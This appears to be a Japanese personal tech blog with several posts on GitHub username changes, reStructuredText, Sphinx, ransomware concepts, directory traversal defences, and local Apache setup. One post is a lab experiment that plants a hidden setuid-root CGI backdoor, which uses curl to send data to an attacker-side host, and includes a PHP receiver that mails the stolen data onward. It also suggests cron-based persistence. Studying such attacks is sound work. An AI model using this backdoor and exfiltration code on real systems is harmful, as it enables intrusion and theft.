github.comのアカウント変更した時のケア事項

概要

github.comのアカウントを変更したくなりましたので、変更方法と変更した後のケア事項をまとめてました。

変更方法

  1. 画面右上のプルダウンメニューから「Setting」を選択 f:id:lgx:20210925140502p:plain:w350
  2. Account settingメニューから「Acount」を選択 f:id:lgx:20210925140932p:plain:w350
  3. 「Change username」ボタンを押下 f:id:lgx:20210925141141p:plain:w400
  4. 警告画面が表示されるが、I understand ...ボタンを押下 f:id:lgx:20210925141308p:plain:w400
  5. 次にはアカウント名を変更する画面で変更できる(使われているものはNG) f:id:lgx:20210925141420p:plain:w400

変更後のケア事項

git config user.nameの設定

  1. 現在の設定内容をみず確認する
$ git config --global user.name
  1. 変更後のアカウント名を設定
$ git config --global user.name <new username>
  1. 変更後他の設定も含めて確認する
$ git config --global -l

以前git cloneしたローカルのリポジトリへのケア

数分だけ、以下の操作を実施。

$ cd <ローカルのリポジトリ>
$ git remote -v 
# 変更前の状態
# 変更前
origin  git@github.com:<old_name>/<repo_name>.git (fetch)
origin  git@github.com:<old_name>/<repo_name>.git (push)

# 新しいusernameに変更
$ git remote set-url origin git@github.com:<new_name>/<repo_name>.git
$ git remote -v

# 確認(以下になっていればOK)
origin  git@github.com:<new_name>/<repo_name>.git (fetch)
origin  git@github.com:<new_name>/<repo_name>.git (push)

これで普通に$ git clone$ git pushなど新しいアカウントに対して操作できるはず。

参考資料(THX!)

reStructuredTextの記述方法

概要

軽量マークアップ言語である reStructuredTextreSTと略する事が多い)の記述方法をまとめてみる。

セクション(見出し)

セクションは全部で6レベル分まで作ることができ、出現した順番にレベル分けされる。
最も外側のタイトル(HTMLのH1のような)になり、2番目のスタイルがサブタイトル(HTMLのH2のような)になる、等など。

以下の文字が推奨されている

= - ` : . ' " ~ ^ _ * + #

インラインマークアップ(文字の修飾)

  • 斜体:*text*
  • 太字:**text**
  • リテラル(そのまま表示):``(半角バッククォート×2)
    例:``/Users/name/dev``は/Users/name/devのように表示される。

箇条書き

箇条書きの最初の1行の前は必ず空行であける必要がある。

番号なし箇条書き

*、-、+の3種類で表現できる。入れ子(ネスト)する場合は、1行を空けて、前の行のテキストと同じ縦位置に合わせて記号から書く。 構文ダイアグラム

+------+-----------------------+
| "- " | list item             |
+------| (body elements)+      |
       +-----------------------+

番号あり箇条書き

順序付きの半角数字、大文字/小文字の英字アルファベット、大文字/小文字のローマ数字が使える。
また、「#.」を使えれば、自動的に数字を順番につけることができる。

以下3種類の書式が使える:

  • ピリオドを後ろに付ける: "1.", "A.", "a.", "I.", "i."
  • 丸括弧で括る: "(1)", "(A)", "(a)", "(I)", "(i)"
  • 丸括弧を後ろに付ける: "1)", "A)", "a)", "I)", "i)"

構文ダイアグラム

+-------+----------------------+
| "1. " | list item            |
+-------| (body elements)+     |
        +----------------------+

引用ブロック

引用前の行との間に1行を空けた状態で、先頭にインデント(spaceを2つとか)してから書く内容が引用となる。引用分に改行がある場合、そのままでは改行が無視されるため、改行のままで引用されたい場合は、「ラインブロック」(各行の先頭に「|」を入れる)を使う。
例:

この行は引用前

  | これは引用行1
  | これは引用行2
  | これは引用行3

この行は引用後

コードブロック

::の後1行開けてから1段インデントして書く。

ふつうの文章::

    コードを書く

ふつうの文章

残念ながら、2021/9/24時点でsphinx-revealjs 1.3.0でビルドしたコードブロックは崩れている模様($ make htmlではOK)

リンク

以下3つの方法でもリンクを作ることが可能

* http://sphinx-doc.org/
* `github <https://github.com>`_
* Sphinx-users.jp_

.. _Sphinx-users.jp: http://sphinx-users.jp/

以下のように出力される(画像を貼り付けたが、実際にHTML上はリンクになっている)

f:id:lgx:20210924010045p:plain:w500

画像/図形

.. image:: <path to image file>
   :scale: <1〜100、e.g. 50>
   :alt: <altテキストを書く>
   :align: <left | center | right>

上記<path to image file>の所は、sourceディレクトリから見た相対/絶対パスを書く。書かれた画像ファイルは、ビルド時にbuild配下の_imagesディレクトリ配下にコピーされてindex.htmlから見れるようになる。

また、キャプション付き図形を表現する場合、.. image::の変わりに.. figure::を書く、例:

.. figure:: <path to image file>
   :scale: <1〜100、e.g. 50>
   :alt: <altテキストを書く>
   :align: <left | center | right>

   caption for the figure.

注意:上記の.. figure::のキャプション設定機能は、$ make htmlの出力htmlファイルには対応しているが、$ make revealjsには対応していない。

表(テーブル)

シンプルな表

======= ====== ======
col1    col2   col3
======= ====== ======
row1    a      b
row2    a      b
row3    a      b
======= ====== ======

シンプルな表の制約条件:1列名に複数の行を書くことができない。
また、$ make revealjsでビルドして出力したhtmlファイルには、横の罫線はあるた縦の罫線はない。

グリッドテーブル

セルのグリッドを自分で線描する必要がある。

+------------------------+------------+----------+
| Header row, column 1   | Header 2   | Header 3 |
| (header rows optional) |            |          |
+========================+============+==========+
| body row 1, column 1   | column 2   | column 3 | 
+------------------------+------------+----------+
| body row 2             | ...        | ...      |
+------------------------+------------+----------+

罫線を書く上での制約条件:縦での位置を100%揃えないとビルドで警告され正しく出力できないようだ。
また、$ make revealjsでビルドして出力したhtmlファイルには、横の罫線はあるた縦の罫線はない。

セルの結合(グリッドテーブルしかできない)

下記のように2行目の2、3列、3行目の1、2列をそれぞれ結合させた例。

+------------------------+------------+----------+
| Header row, column 1   | Header 2   | Header 3 |
| (header rows optional) |            |          |
+========================+============+==========+
| body row 1, column 1   | column 2              |
+------------------------+------------+----------+
| body row 2                          | ...      |
+------------------------+------------+----------+

$ make htmlで出力したhtmlファイルは以下のようになる。
f:id:lgx:20210924170214p:plain:w600

しかし、$ make revealjsした場合は、以下のようにみえて結合されていることが分かりにくい。 f:id:lgx:20210924170424p:plain:w600

個人的な感想:グリッドテーブルを使うのはやはり煩雑であまり使う気にならない。

csv-table

カンマ区切り形式を利用して表を作ることができる。

.. csv-table:: Frozen Delights!
   :header: "Treat", "Quantity", "Description"
   :widths: 15, 10, 30

   "Albatross", 2.99, "On a stick!"
   "Crunchy Frog", 1.49, "If we took the bones out, it wouldn't be
   crunchy, now would it?"

普通のhtmlでは
f:id:lgx:20210924175626p:plain:w600

reveal.jsでは f:id:lgx:20210924175708p:plain:w600

のように見えた(グリッドテーブルより断然に簡単で見た目もいい!)

list-table

入れ子の箇条書きのような感覚でテーブルを作ることが可能。

.. list-table:: Frozen Delights!
   :widths: 15 10 30
   :header-rows: 1

   *  - Treat
       - Quantity
       - Description
   *  - Albatross
        - 2.99
        - On a stick!
   *  - Crunchy Frog
       - 1.49
       - If we took the bones out, it wouldn't be
         crunchy, now would it?

.. csv-table::と比べて、.. list-table::は厳密に縦位置を合わせていないとビルド時に警告が出て正しく生成できんたいため、使い勝手が劣るように思われる。

セルの中にリストを入れる

先程の.. list-table::で表現するとこうなる

.. list-table:: 各国の代表都市
   :widths: 15 15
   :header-rows: 1

   * - 国
     - 代表都市
   * - 日本
     - * 東京
       * 大阪
   * - 中国
     - * 北京
       * 上海
       * 広州

ビルド後の出力:
f:id:lgx:20210924182207p:plain:w200 f:id:lgx:20210924182408p:plain:w200

やはり`.. list-table::のインデント合わせに悩まされている(なぜpythonはインデントをこれほど厳密にチェックしているのか?)

試しに、.. csv-table::で同じことをできるかを色々試した所、以下の書き方ではうまく行ったことが確認できた。

.. csv-table:: 各国の代表都市
   :header: "国", "代表都市"
   :widths: 15, 15

   "日本", "
   * 東京
   * 大阪"
   "中国", "
   * 北京
   * 上海
   * 広州"

.. csv-table::でセルにリストを書く場合も、縦位置をあわせることを意識する必要があるが、構造がより簡単にできるので他のテーブル形式よりは簡単で汎用的に使えると感じた。

注釈と警告

注釈

.. note::
   これは注釈である。

f:id:lgx:20210924212313p:plain

警告

.. warning::
   これは警告である。

f:id:lgx:20210924212420p:plain

なお、注釈と警告両方とも、$ make revealjsでの出力では区別がなく、質素なものであまり使えない。
f:id:lgx:20210924212923p:plain:w200

他のファイルのインクルード

ファイルをreStructuredTextとして取り込みたい場合、

.. include:: include.rst

ファイルを引用として取り込みたい場合、

.. literalinclude:: include.rst
    :language: rst
    :linenos:

上の:linenos:は番号を付けるオプション。

コメント

.. This is a comment.
   This whole indented block
   is a comment.

   Still in the comment.

参考資料(THX!)

Sphinxとsphinx-revealjsの勉強

概要

Sphinxを使ったドキュメント作成を勉強するためにまとめたもの。

概念の理解

  • Sphinxスフィンクス
    python製のプレゼンテーションビルダー(知的で美しいドキュメントを簡単に作れるようにするツール)。
    Georg Brandlによって開発され、BSDライセンスのもとで公開されている。
    SphinxreStructuredTextという記法を使用して、reSTファイル(拡張子.rst)を作成する。
  • 特徴
  • sphinx-revealjs
    Sphinx拡張の1つ、Sphinxで読み取った入力ソースを、Reveal.jsのプレゼンテーション形式のHTMLとして出力するもの。
    • 特徴
      SphinxのビルトインHTML出力では表現できないReveal.jsの構造に合わせた出力をするようになっている。
  • Reveal.js
    Hakim El Hattabによって開発されている、HTMLでのプレゼンテーションを作成するためのフレームワーク

動かしてみる

まずは簡単なものから

  • 仮想環境を準備
$ mkdir -p ~/dev/sphinx
$ cd !$
$ python -m venv .venv
$ source .venv/bin/activate
(.venv) $
$ pip install "Sphinx==3.4.3" "sphinx-revealjs==1.0.1"
(省略)
Successfully installed Jinja2-3.0.1 MarkupSafe-2.0.1 Pygments-2.10.0 Sphinx-3.4.3 alabaster-0.7.12 babel-2.9.1 certifi-2021.5.30 charset-normalizer-2.0.6 docutils-0.17.1 idna-3.2 imagesize-1.2.0 packaging-21.0 pyparsing-2.4.7 pytz-2021.1 requests-2.26.0 snowballstemmer-2.1.0 sphinx-revealjs-1.0.1 sphinxcontrib-applehelp-1.0.2 sphinxcontrib-devhelp-1.0.2 sphinxcontrib-htmlhelp-2.0.0 sphinxcontrib-jsmath-1.0.1 sphinxcontrib-qthelp-1.0.3 sphinxcontrib-serializinghtml-1.1.5 urllib3-1.26.7
  • クイックスタートユーティリティsphinx-quickstartを実行
$ sphinx-quickstart
Sphinx 3.4.3 クイックスタートユーティリティへようこそ。

以下の設定値を入力してください(Enter キーのみ押した場合、
かっこで囲まれた値をデフォルト値として受け入れます)。

選択されたルートパス: .

Sphinx 出力用のビルドディレクトリを配置する方法は2つあります。
ルートパス内にある "_build" ディレクトリを使うか、
ルートパス内に "source""build" ディレクトリを分ける方法です。
> ソースディレクトリとビルドディレクトリを分ける(y / n) [n]: y

プロジェクト名は、ビルドされたドキュメントのいくつかの場所にあります。
> プロジェクト名: My presentation
> 著者名(複数可): Liu Ganxiang
> プロジェクトのリリース []:

ドキュメントを英語以外の言語で書く場合は、
 言語コードで言語を選択できます。Sphinx は生成したテキストをその言語に翻訳します。

サポートされているコードのリストについては、
https://www.sphinx-doc.org/en/master/usage/configuration.html#confval-language を参照してください。
> プロジェクトの言語 [en]: ja

ファイル /Users/■■■/dev/sphinx/source/conf.py を作成しています。
ファイル /Users/■■■/dev/sphinx/source/index.rst を作成しています。
ファイル /Users/■■■/dev/sphinx/Makefile を作成しています。
ファイル /Users/■■■dev/sphinx/make.bat を作成しています。

終了:初期ディレクトリ構造が作成されました。

マスターファイル /Users/■■■/dev/sphinx/source/index.rst を作成して
他のドキュメントソースファイルを作成します。次のように Makefile を使ってドキュメントを作成します。
 make builder
"builder" はサポートされているビルダーの 1 つです。 例: html, latex, または linkcheck。

ディレクトリ構造を確認してみると

$ ls -R
.:
Makefile  build  make.bat  source

./build:

./source:
_static  _templates  conf.py  index.rst

./source/_static:

./source/_templates:

になっている。

  • プレゼン資料の中身を書く
    生成されたファイルの中にsource/index.rstがあり、これはドキュメントとして扱うソースになる。バックアップしてから適当な内容を入れてみる。
$ cp -p source/index.rst{,.org}
$ vim source/index.rst
========================================
Sphinxでのプレゼンテーションを初体験する
========================================

準備
====

準備内容1
------------------------

適当に何かを書く

準備内容2
------------------------

適当に何かを書く。

内容中身
========

内容を書く
  • sphinx-revealjsを組み込み、ビルドする
    目的:拡張機能の設定を追加することにより、プレゼンできるようにする。
    まずは設定する:
$ vim source/conf.py
# -- General configuration ---------------------------------------------------

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
   # 使用する拡張としてsphinx-revealjsを新規追加
   'sphinx_revealjs',
]

最低限ここだけを編集するだけで、プレゼン用のビルドができるようになる。

次はビルドする:

$ make revealjs
Sphinx v3.4.3 を実行中
翻訳カタログをロードしています [ja]... 完了
出力先ディレクトリを作成しています... 完了
ビルド中 [mo]: 更新された 0 件のpoファイル
ビルド中 [revealjs]: 更新された 1 件のソースファイル
環境データを更新中[新しい設定] 1 件追加, 0 件更新, 0 件削除
ソースを読み込み中...[100%] index
更新されたファイルを探しています... 見つかりませんでした
環境データを保存中... 完了
整合性をチェック中... 完了
preparing documents... 完了
出力中...[100%] index
索引を生成中... genindex 完了
追加のページを出力中... search 完了
copying static files... 完了
extraファイルをコピー中... 完了
Japanese (code: ja) の検索インデックスを出力... 完了
オブジェクト インベントリを出力... 完了
ビルド 成功.

HTMLページはbuild/revealjsにあります。

これで、静的なHTMLファイルがbuild/revealjs配下に作成され、index.htmlをブラウザでみれる。

f:id:lgx:20210923172856p:plain:w500

  • 改良1:テーマを変えてみる
    sphinx-revaljsでは何も設定がない場合、blackがデフォルトとして動作する。
    Reveal.jsでは組み込みでのカラーテーマがいくつか提供されているため、その中から変えてみる。
  • Reveal.jsの組み込みテーマ一覧
    beige / black / blood / league / moon / night / serif / simple / sky / solarized / white

moonに変えてみる

$ vim source/conf.py
revealjs_style_theme = 'moon'

設定しただけではすぐ反映されないため、再度ビルドする。

$ make revealjs

再度ブラウザでみると、背景が変わった。
f:id:lgx:20210923175113p:plain:w500

  • 改良2:CSSで見た目を変える
    Reveal.jsのテーマでは、各セッションの見出しの英字テキストが全て大文字になるようで、CSSを作ってこの設定を解除する。
    Sphinxでドキュメントをまたいで使う静的ファイルは_staticフォルダで管理することが多いため、その配下に以下のCSSファイルを配置する。
$ vim source/_static/slides.css
.reveal h1, .reveal h2, .reveal h3, .reveal h4, .reveal h5 {
  text-transform: none;
}
  • ビルド時にCSSを組み込むようにする
    CSSファイルを用意しただけでは取り込んでくれないので、source/conf.pyを編集して「プレゼンテーションHTML生成時にCSSを使用する」設定を加える。
$ vim source/conf.py
revealjs_static_path = html_static_path
revealjs_css_files = [
    "slides.css",
]

再びmake revealjsして、するとブラウザからみたら
f:id:lgx:20210923180431p:plain:w500

SPHINXSphinxに変わった。

SphinxでHTML出力の場合

上の例だと、sphinx-revealjs拡張機能でHTML(プレゼン)した事例だが、本来sphinxからHTMLを出力した場合の結果も確認しておく。

$ make html

でビルドし、build/html配下に出力され、ブラウザからindex.htmlを確認すると、以下のようになる

f:id:lgx:20210924135757p:plain:w500

カラーテーマの設定がない普通のHTMLページになる。

次は→Reveal.jsプラグインやSphinx拡張を活用して、質の向上を目指す を勉強する。

参考資料(THX!)

ランサムウェア(Ransomware)について

概要

ランサムウェアRansomware、中国語「勒索软件」)についてのメモ書き。

仕組み

一般の攻撃者グループの分業体制。

  • ランサムウエアの入手
    運営クラウドサービス「RaaS(Ransomware as a Service)」が用意。
    被害者から得た身代金(みのしろきん)の10%〜30%。
  • アフィリエイト
    RaaSを利用して企業や組織に侵入してランサムウエアをまいたりデータを盗んだりする人。
    残りの身代金。

f:id:lgx:20210918131244p:plain (引用:https://xtech.nikkei.com/atcl/nxt/column/18/00676/090100087/

関連用語

  • ransom(ランサム)
    身代金、中国語「赎金」
  • ランサムウェアの種類
    • 暗号化ランサムウェア
      • AIDS Trojan(1989年、最初のランサムウェア、攻撃に共通鍵暗号を使用)
      • RSA公開鍵暗号を使用
        • Gpcode、TROJ.RANSOM.A、Archiveus、Krotten、Cryzip、MayArchive、Gpcode.AG
        • Gpcode.AK、SynoLocker、KRSWLocker、CryptoLocker 、TorrentLocker、Cryptowall
        • KeRanger(2016年3月、macOS上最初のマルウェアかつランサムウェア
          • ファイルを暗号化
          • ファイルを復号するためにビットコインを要求
          • 実行ファイルは、リッチテキストファイル(.rtf)に偽装した .dmg 中にある
          • マルウェアは3日間休眠した後、ファイルを暗号化し始める
          • ファイルの復号方法を指示するテキスト文書を加える
        • WannaCry
          2017年5月13日の出現、世界中で猛威をふるった新種のランサムウェア亜種。感染すると、Windows PCやサーバにあるファイルが暗号化され、開けなくなる。
        • GoldenEye、DarkSide、REvil
    • 非暗号化ランサムウェア
      • WinLockなど
  • 二重恐喝(Double-Extortion Ransomware Attack)
    暗号化と共に情報の公開も恐喝する手法。
  • ランサムノート ランサムウエアの脅迫画面。

ディレクトリトラバーサル攻撃の対策

ディレクトリトラバーサル攻撃の対策

定義

ディレクトリトラバーサル : Directory Traversalとは、
サーバー内の非公開ディレクトリへ不正アクセスすること。攻撃されると情報漏えいや改ざんなどの被害が考えられる。

対策

基本対策

  • 非公開ディレクトリにアクセス拒否を設定(以下の例はapacheの場合) 以下の設定では、「/」以下全てのディレクトリをアクセス拒否設定した後、ドキュメントルート以下に対してすべてアクセス許可設定している。
  <Directory />
      Require all denied
  </Directory>
  <Directory /var/www/html>
      Require all granted
  </Directory>
  • httpdの実行ユーザに、非公開ディレクトリに対するOS上の参照まーミッションを与えない 以下の例では、「../private」を自分にしか参照権限を与えていない。
  $ chmod 700 ../private

入力データに対してサニタイズ処理

他の対策もあるが、上記が一番よく使われて有効な対策であろう。

参考資料

ホスト-コンテナ間でバックドア設置の簡単実験

概要

練習がてらで、ホストと docker によって構築したコンテナとの間で、簡単なバックドアの設置、および情報送信の簡単な実験を行う。

ホストとコンテナの概要

ホスト : macOS Catalina 10.15.7(攻撃者の環境) コンテナ : CentOS8(攻撃対象の環境)

シナリオ

  1. 攻撃者が何かしらの手段で、攻撃対象の環境に侵入成功、バックドアを設置した。
  2. バックドアでは、setuid(0) にし、root 権限で実行される(重要な機微情報を不正取得など)。
  3. バックドアは自ら、不正取得した機微情報を攻撃者の環境に情報送信。
  4. 攻撃者の環境では、バックドアから受信したら、自動的に攻撃者にメール送信。

使う技術の整理

コンテナからホストへの通信

$ curl http://host.docker.internal:[port]

説明:「http://host.docker.internal:」部分は固定で、[port]は、ホスト側の受信ポート。

なお、コンテナから自身への通信する場合は、

$ curl  http://[コンテナID]:[コンテナ側port]

例えば、私の macOC 上に構築したコンテナの場合は、以下のようになっている

$ docker ps -a
CONTAINER ID   IMAGE            COMMAND        CREATED        STATUS        PORTS                  NAMES
af6b538f8bee   centos:centos8   "/sbin/init"   5 months ago   Up 10 hours   0.0.0.0:80->8080/tcp   centos8

ため、次のように、コンテナから自身の 8080 ポートにアクセスできる

$ curl http://af6b538f8bee:8080
<html>
<body>
Hello, World!
</body>
</html>

同じ結果を、ホストから次のようにアクセスして取得できる

$ curl http://localhost[:80]
<html>
<body>
Hello, World!
</body>
</html>

なぜならば、ホストとコンテナ間は、「ホスト側のポート番号 -> コンテナ内のポート番号」には、以下のようになっている、つまり

0.0.0.0:80->8080/tcp 

ホストから 80 ポートへのアクセスをコンテナの 8080 ポートにマッピングする意味。

実験の詳細

バックドアの設置

攻撃対象の環境に web server が起動され、cgi プログラムが利用可能と仮定する。また、攻撃者が以前不正侵入した時に、以下のような cgi プログラムを設置したと仮定する。

$ ls -la /usr/share/nginx/cgi-bin/.exploit
-rwsr-xr-x 1 root root 12856  4月 11 00:26 /usr/share/nginx/cgi-bin/.exploit

上から、.exploit の cgi プログラムの以下のことが見て分かる

  • 所有者が root
  • 実行する際に、所有者 root の権限で実行することが可能になる(rwsr-xr-x)

上記 .exploit プログラムのソースコード(実験のため、簡易的ものになっている)

vim /usr/share/nginx/cgi-bin/.exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    setuid(0);
    char buf[1024]; // 実験のため、簡易的に
    // root権限で何かしら重要な機微情報を不正取得
    char *info = "This%20is%20very%20sensitive%20personal%20informations";
    snprintf(buf, 1024, "curl http://host.docker.internal:[port]/[受信プログラム]?msg=%s", info);
    system(buf);
}

※buf に入れる文字列は一部加工している(実際のプログラムとは異なる)
※port : ホスト側で httpd の待受(LISTEN)ポート番号

バックドアからの情報送信

攻撃者の環境(ホスト)から、攻撃対象の環境(コンテナ)にあるバックドアにアクセス(遠隔操作)する

$ curl http://localhost[:80]/cgi-bin/.exploit

この例は、ホスト側からのキックでバックドアに情報送信させるが、攻撃対象の環境の外から内への通信 が遮断されることを想定し、攻撃者は予めバックドアから自動送信できるよう、root ユーザで at や crontab などで定期ジョブを仕込んで、コンテナ内で cgi プログラムを実施し、ホストに情報送信する可能性も考えられる。

攻撃者への自動メール送信

バックドアからの情報受信ができたら、後は攻撃者が好きのようにできる。今回の実験では、攻撃者に自動メール送信することにした。以下が情報受信と自動メール送信を一緒にしたプログラムの例。

実験のため、文字列のエンコード等の処理は省いている。

$ cat blackhole.php
<?php
    $msg = "待機中";
    if (isset($_REQUEST['msg'])) {
        $msg = $_REQUEST['msg'];
    }

    // send mail
    mb_language("Japanese");
    mb_internal_encoding("UTF-8");

    $to = "xxxxx@yyyyy.com";  <= ダミーデータ
    $title = "情報あり!";
    $message = "[$msg]";
    $headers = "From: backdoor@centos8";

    if (mb_send_mail($to, $title, $message, $headers)) {
        echo "Send mail succeed";
    } else {
        echo "Send mail failed";
    }
?>

実験の結果

シナリオ通りに、攻撃対象の環境(コンテナ)から情報が送信され、攻撃者の環境(ホスト)が受信し、攻撃者の元にメールが自動送信される実験結果が確認できた。

以上。

特別感謝

macOS ローカルに apache の立てる

概要

macOSapache の Web Serverを立てるメモ書き。

環境

OS : macOS Catalina 10.15.7
入っている httpdphp のバージョン

$  httpd -v
Server version: Apache/2.4.41 (Unix)
$ php -v
PHP 7.3.11 (cli) (built: Jun  5 2020 23:50:40) ( NTS )

これらをそのまま使う。

ポート

macOS に docker で CentOS8 のコンテナを作って、ホスト:80 <=> コンテナ:8080
マッピングしているため、macOS に立てるWebサーバに 8888 ポートを使うことにする。
つまり、http://localhost:8888 である。

手順

apache の起動と動作確認

apache を起動

$ sudo apachectl start
$ ps auxww | grep httpd

プロセスが立ち上がらない。。なぜだ
いろいろ考えた結果、同時に CentOS8 のコンテナが起動されて、コンテナ内で nginx の
Web Server が立ち上がっているため、ホスト側ではすでに 80/tcp が Listen 状態になっている。

$ netstat -na | grep "*.80" | grep LISTEN
tcp46      0      0  *.80                   *.*                    LISTEN

なので、httpd.conf を変更して、80 の Listen を 8888 に変更する。

httpd.conf の変更

vim /etc/apache2/httpd.conf

ポート変更
<IfDefine SERVER_APP_HAS_DEFAULT_PORTS>
    Listen 8080
</IfDefine>
<IfDefine !SERVER_APP_HAS_DEFAULT_PORTS>
#    Listen 80
    Listen 8888
</IfDefine>
php を使えるようにする

下記1行のコメントアウトを外す。

#LoadModule php7_module libexec/apache2/libphp7.so
↓
LoadModule php7_module libexec/apache2/libphp7.so
apache を起動する
$ sudo apachectl start
$ ps auxww | grep httpd
$ ps auxww | grep httpd | grep -v grep
_www   78894   0.0  0.0  4329508   1032   ??  S     9:04PM   0:00.00 /usr/sbin/httpd -D FOREGROUND
_www   78893   0.0  0.0  4329508   1028   ??  S     9:04PM   0:00.00 /usr/sbin/httpd -D FOREGROUND
_www   78892   0.0  0.0  4329508   1272   ??  S     9:04PM   0:00.00 /usr/sbin/httpd -D FOREGROUND
_www   78885   0.0  0.0  4345892   2008   ??  S     9:04PM   0:00.01 /usr/sbin/httpd -D FOREGROUND
root      78881   0.0  0.1  4329536   8636   ??  Ss    9:04PM   0:00.30 /usr/sbin/httpd -D FOREGROUND

ブラウザから http://localhost:8888 にアクセスすると

f:id:lgx:20210410212026p:plain:w300

DocumentRoot

macOS では、ドキュメントルートは /Library/WebServer/Documents である。

毎回ドキュメントルート配下に作るのは、拡張性と利便性に乏しいため、ユーザディレクトリを有効化する。

ユーザディレクトリを有効化

vim /etc/apache2/httpd.conf 下記2行のコメントアウトを削除する。

#LoadModule userdir_module libexec/apache2/mod_userdir.so
↓
LoadModule userdir_module libexec/apache2/mod_userdir.so

#Include /private/etc/apache2/extra/httpd-userdir.conf
↓
Include /private/etc/apache2/extra/httpd-userdir.conf

次に、vim /etc/apache2/extra/httpd-userdir.conf、次の行のコメントアウトを削除

#Include /private/etc/apache2/users/*.conf
↓
Include /private/etc/apache2/users/*.conf

ホームディレクトリに「Sites」ディレクトリの作成

すでに作成済の場合は不要

$ mkdir -p ~/Sites

{user}.conf の作成

ここでの {user} は、サーバのユーザ名のこと。自分は liu なので、次のように作成する。
※注 : macOS には、すでに作成されていたが、内容を変更する。

$ sudo vim /etc/apache2/users/liu.conf
<Directory "/Users/liu/Sites/">
    Options Indexes MultiViews
    Require all granted
</Directory><Directory "/Users/liu/Sites/">
   AddType text/html .shtml .html
   AddHandler server-parsed .shtml .html
   Options Indexes MultiViews FollowSymlinks Includes
   AllowOverride all
   Require all granted
</Directory>
ユーザディレクトリの動作確認

~/Sites 配下に、vim phpinfo.php

<?php
    phpinfo();
?>

最終動作確認

httpd を再起動する $ sudo apachectl restart

ブラウザから http://localhost:8888/~liu/phpinfo.php にアクセスする

f:id:lgx:20210410220055p:plain:w600

問題なく予定通りの動作確認ができた。

httpd 自動起動するように設定

$ sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
/System/Library/LaunchDaemons/org.apache.httpd.plist: service already loaded

自動起動をやめる時は

$ sudo launchctl unload -w /System/Library/LaunchDaemons/org.apache.httpd.plist

特別感謝